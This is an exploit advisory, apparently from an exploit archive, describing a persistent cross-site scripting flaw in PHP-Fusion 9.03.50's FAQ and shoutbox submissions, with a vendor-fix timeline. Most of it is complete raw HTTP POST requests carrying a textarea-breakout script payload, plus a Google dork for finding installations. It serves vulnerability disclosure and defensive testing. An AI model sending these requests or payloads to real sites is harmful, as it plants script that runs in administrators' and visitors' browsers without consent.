PHP-Fusion 9.03.50 Cross Site Scripting

`# Exploit Title: php-fusion 9.03.50 - Persistent Cross-Site Scripting  
# Google Dork: "php-fusion"  
# Date: 2020-04-30  
# Exploit Author: SunCSR (Sun* Cyber Security Research)  
# Vendor Homepage: https://www.php-fusion.co.uk/  
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30  
# Version: 9.03.50  
# Tested on: Windows  
# CVE : N/A  
  
### Vulnerability : Persistent Cross-Site Scripting  
  
###Describe the bug  
Persistent Cross-site scripting (Stored XSS) vulnerabilities in PHP-Fusion 9.03.50 allow remote attackers to inject arbitrary web script or HTML  
via the go parameter to /infusions/faq/faq_admin.php, /infusions/shoutbox_panel/shoutbox_admin.php  
  
###To Reproduce  
Steps to reproduce the behavior:  
Authenticated user submit Q&A or Shoutbox to admin  
  
### POC:  
## Submit Q&A:  
  
POST /php-fusion/submit.php?stype=q HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------68756068726681644952075211938  
Content-Length: 1146  
Origin: http://TARGET  
DNT: 1  
Connection: close  
Referer: http://TARGET/php-fusion/submit.php?stype=q  
Cookie: xxx  
Upgrade-Insecure-Requests: 1  
  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="fusion_token"  
  
2-1588232750-f839ed0754d5dc8aa577cfb660e273e711ec03a9a782de90ac34860cdb45a8f1  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="form_id"  
  
submit_form  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="fusion_PR57qY"  
  
  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="faq_question"  
  
Question XSS  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="faq_answer"  
  
xss</textarea><ScRiPt>alert('XSS')</ScRiPt>  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="faq_cat_id"  
  
1  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="faq_language[]"  
  
English  
-----------------------------68756068726681644952075211938  
Content-Disposition: form-data; name="submit_link"  
  
Submit  
-----------------------------68756068726681644952075211938--  
  
## Shoutbox  
  
POST /php-fusion/infusions/downloads/downloads.php?cat_id=1 HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 272  
Origin: http://TARGET  
DNT: 1  
Connection: close  
Referer: http://TARGET/php-fusion/infusions/downloads/downloads.php?cat_id=1  
Cookie: xxx  
Upgrade-Insecure-Requests: 1  
  
fusion_token=2-1588233429-3df5ba2b9c690e833548645f66a7772cf7fdb24ca9be130d5ff01e26351a2771&form_id=sbpanel&fusion_gEHiPs=&shout_id=0  
&shout_hidden=&shout_message=xss</textarea><ScRiPt>alert('XSS')</ScRiPt>&shout_language=English&shout_box=Save+Shout  
  
  
###Reference:  
https://github.com/php-fusion/PHP-Fusion/issues/2306  
  
### History  
=============  
2020-04-09 Issue discovered  
2020-04-14 Vendor contacted  
2020-04-28 Vendor response and hotfix  
2020-04-29 Vendor releases fixed  
`